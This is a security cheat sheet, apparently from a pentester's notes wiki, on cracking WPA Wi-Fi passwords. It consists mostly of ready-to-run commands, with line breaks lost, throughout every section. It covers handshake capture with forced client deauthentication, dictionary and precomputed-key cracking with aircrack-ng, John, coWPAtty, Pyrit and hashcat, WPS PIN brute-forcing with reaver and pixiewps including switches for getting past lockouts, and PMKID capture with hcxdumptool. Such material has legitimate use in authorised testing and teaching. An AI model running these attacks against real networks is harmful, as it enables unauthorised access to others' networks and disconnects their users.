← cd ..

Wifi - WPA Cracking

contents
wifi-wpa.md

Tools#

WPA PSK Attack#

Cracking WPA with John the Ripper#

# put into monitor mode on our desired channelairmon-ng start wlan0 3 # only a particular channel : 3airodump-ng -c 3 --bssid $AP_MAC -w wpajohn mon0 # see no client# deauthentication to get the WPA handshake (Sniffing should show the 4-way handshake)aireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0# crack without john the ripper (-b <BSSID>)aircrack-ng -0 -w /pentest/passwords/john/password.lst wpajohn-01.capaircrack-ng -w password.lst,secondlist.txt wpajohn-01.cap # multiple dicts# crack with john the ripper - combine mangling rules with aircrack# rules example to add in /pentest/passwords/john/john.conf# $[0-9]$[0-9]# $[0-9]$[0-9]$[0-9]john --wordlist=/pentest/wireless/aircrack-ng/test/password.lst --rules --stdout | aircrack-ng -0 -e $AP_SSID -w - /root/wpajohn# generate PMKs for a faster cracking - Precomputed WPA Keys Database Attackecho wifu > essid.txtairolib-ng test.db --import essid essid.txtairolib-ng test.db --statsairolib-ng test.db --import passwd /pentest/passwords/john/password.lstairolib-ng test.db --batchairolib-ng test.db --statsaircrack-ng -r test.db wpajohn-01.cap# airolib-ng test.db --clean all# Not in lab - Convert to hccap to use with John Jumboaircrack-ng <FileName>.cap -J <outFile>hccap2john <outFile>.hccap > <JohnOutFile>john <JohnOutFile>

Cracking WPA with coWPAtty#

Better for PMK Rainbow table attacks

# put into monitor mode on our desired channelairmon-ng start wlan0 3 # only a particular channel : 3airodump-ng -c 3 --bssid $AP_MAC -w wpacow mon0 # see no client# deauthentication to get the WPA handshakeaireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0# coWPAtty dictionary mode (slow)cowpatty -r wpacow-01.cap -f /pentest/passwords/john/password.lst -2 -s $AP_SSID# coWPAtty rainbow table mode (fast)genpmk -f /pentest/passwords/john/password.lst -d wifuhashes -s $AP_SSIDcowpatty -r wpacow-01.cap -d wifuhashes -2 -s $AP_SSID

Cracking WPA with Pyrit#

Can use GPU

# put into monitor mode on our desired channelairmon-ng start wlan0 3 # only a particular channel : 3airodump-ng -c 3 --bssid $AP_MAC -w wpapyrit mon0 # see no client# deauthentication to get the WPA handshakeaireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0# clean the cap and extract only good packetspyrit -r wpapyrit-01.cap analyzepyrit -r wpapyrit-01.cap -o wpastripped.cap strip# dictionary attack - slow ++pyrit -r wpapyrit-01.cap -i /pentest/passwords/john/password.lst -b $AP_MAC attack_passthrough# pre-computed hashes attack - slow on CPUpyrit eval # pwds in databasepyrit -i /pentest/passwords/john/password.lst import_passwords # import in the databasepyrit -e $AP_SSID create_essidpyrit batch # generatepyrit -r wpastripped.cap attack_db # gpu power attack - fast on GPUpyrit list_corespyrit -i /pentest/passwords/john/password.lst import_passwords # import in the databasepyrit -e $AP_SSID create_essidpyrit batchpyrit -r wpastripped.cap attack_db 

Cracking WPA with bettercap#

  • Install Bettercap

    # install and updatego get github.com/bettercap/bettercapcd $GOPATH/src/github.com/bettercap/bettercapmake build && sudo make installsudo bettercap -eval "caplets.update; q"
  • Scan for Wifi networks

    # run and recon the wifi APssudo bettercap -iface wlan0# this will set the interface in monitor mode and start channel hopping on all supported frequencies> wifi.recon on # we want our APs sorted by number of clients for this attack, the default sorting would be `rssi asc`> set wifi.show.sort clients desc# every second, clear our view and present an updated list of nearby WiFi networks> set ticker.commands 'clear; wifi.show'> ticker on# use the good channel> wifi.recon.channel 1
  • Execute the deauth attack

    # use the bssid of the AP> wifi.deauth e0:xx:xx:xx:xx:xx/path/to/cap2hccapx /root/bettercap-wifi-handshakes.pcap bettercap-wifi-handshakes.hccapx/path/to/hashcat -m 2500 -a3 -w3 bettercap-wifi-handshakes.hccapx '?d?d?d?d?d?d?d?d'

WPA WPS Attack#

airmon-ng start wlan0airodump-ng mon0# Installapt-get -y install build-essential libpcap-dev aircrack-ng pixiewpsgit clone https://github.com/t6x/reaver-wps-fork-t6xapt-get install reaver# Reaver integrated dumping tool (can also airodump-ng)# Wash gives information about WPS being locked or not# Locked WPS will have less success chancewash -i mon0 # Launch Reaverreaver -i mon0 -b $AP_MAC -vv -Sreaver -i mon0 -c <Channel> -b $AP_MAC -p <PinCode> -vv -Sreaver -i mon0 -c 6 -b 00:23:69:48:33:95 -vv# Now using pixiexps, you can crack PIN offlinepixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce># Then, you can use the PIN with reaver to get to cleartext passwordreaver -i <monitor interface> -b <bssid> -c <channel>  -p <PIN># Some manufacturers have implemented protections# You can try different switches to bypass# -L = Ignore locked state# -N = Don't send NACK packets when errors are detected# -d = delay X seconds between PIN attempts# -T = set timeout period to X second (.5 means half second)# -r = After X attemps, sleep for Y secondsreaver -i mon0 -c 6 -b 00:23:69:48:33:95  -vv -L -N -d 15 -T .5 -r 3:15

Message “WARNING: Detected AP rate limiting, waiting 315 seconds before re-trying” -> AP is protected Message “WARNING: Receive timeout occurred” -> AP is too far

WPA PMKID Attack#

INTERFACE=$(ifconfig | grep wlp | cut -d":" -f1) # mon0# PMKID capture# Note: Based on the noise on the wifi channel it can take some time to receive the PMKID. # It can take a while to capture PKMID (several minutes++)# We recommend running hcxdumptool up to 10 minutes before aborting.# If an AP receives our association request packet and supports sending PMKID, it will be captured. # sudo hcxdumptool -i wlan0mon -o outfile.pcapng --enable_status=1PMKID=$(sudo hcxdumptool -o test.pcapng -i $INTERFACE --enable_status  --filtermode=2)echo $PMKID|grep 'FOUND PMKID' &> /dev/nullhcxpcaptool -z test.16800 test.pcapng# Then convert the captured data to a suitable format for hashcat# -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)# -I retrieve identities from WiFi-traffic# -U retrieve usernames from WiFi-traffic# PMKID*MAC AP*MAC Station*ESSID# 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3ahcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng# Cracking the HASHhashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'hashcat -m 16800 -d 1 -w 3 myHashes rockyou.txt # Check clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

Bettercap WPA - PMKID attack:

wifi.assoc all/path/to/hcxpcaptool -z bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap/path/to/hashcat -m16800 -a3 -w3 bettercap-wifi-handshakes.pmkid '?d?d?d?d?d?d?d?d'

References#